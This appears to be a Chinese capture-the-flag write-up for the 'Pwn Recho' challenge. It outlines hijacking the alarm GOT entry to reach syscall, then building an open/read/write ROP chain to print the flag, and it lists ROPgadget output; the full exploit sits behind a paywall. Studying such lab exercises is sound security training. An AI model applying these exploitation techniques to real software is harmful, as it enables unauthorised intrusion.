攻防世界 Pwn Recho
1.题目下载地址
2.checksec

3.IDA分析

可以看到这个while是死循环
所以要学会使用pwntools的shutdown功能来退出循环
但是循环退出之后就不能再进入了
接下来要看一下漏洞在哪

这个题目有个明显后门,在data段发现有flag。可以将它read到bss段中,再通过write输出出来
在gdb动态调试时,分析alarm,发现有

有syscall系统调用
漏洞利用思路如下:
-
- alrm函数got表劫持到syscall位置
-
- open(‘flag’,READONLY)
-
- 通过read将flag写入到bss段,之后再write输出
ROP链条:
syscall>>flag>>read>>write
ROP地址
└─$ ROPgadget --binary ./Recho --only 'pop|ret' 148 ⨯ 1 ⚙
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x00000000004006fc : pop rax ; ret <--------------------
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret <-----------------------
0x00000000004006fe : pop rdx ; ret <------------------------
0x00000000004008a1 : pop rsi ; pop r15 ; ret <---------------------
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b6 : ret
Unique gadgets found: 13
└─$ ROPgadget --binary ./Recho --only 'add|ret'

本文介绍PwnRecho1题目的详细解题过程,包括利用alarm函数劫持got表,通过syscall读取并输出flag,展示了ROP链条构造及pwntools的使用。
最低0.47元/天 解锁文章
556

被折叠的 条评论
为什么被折叠?



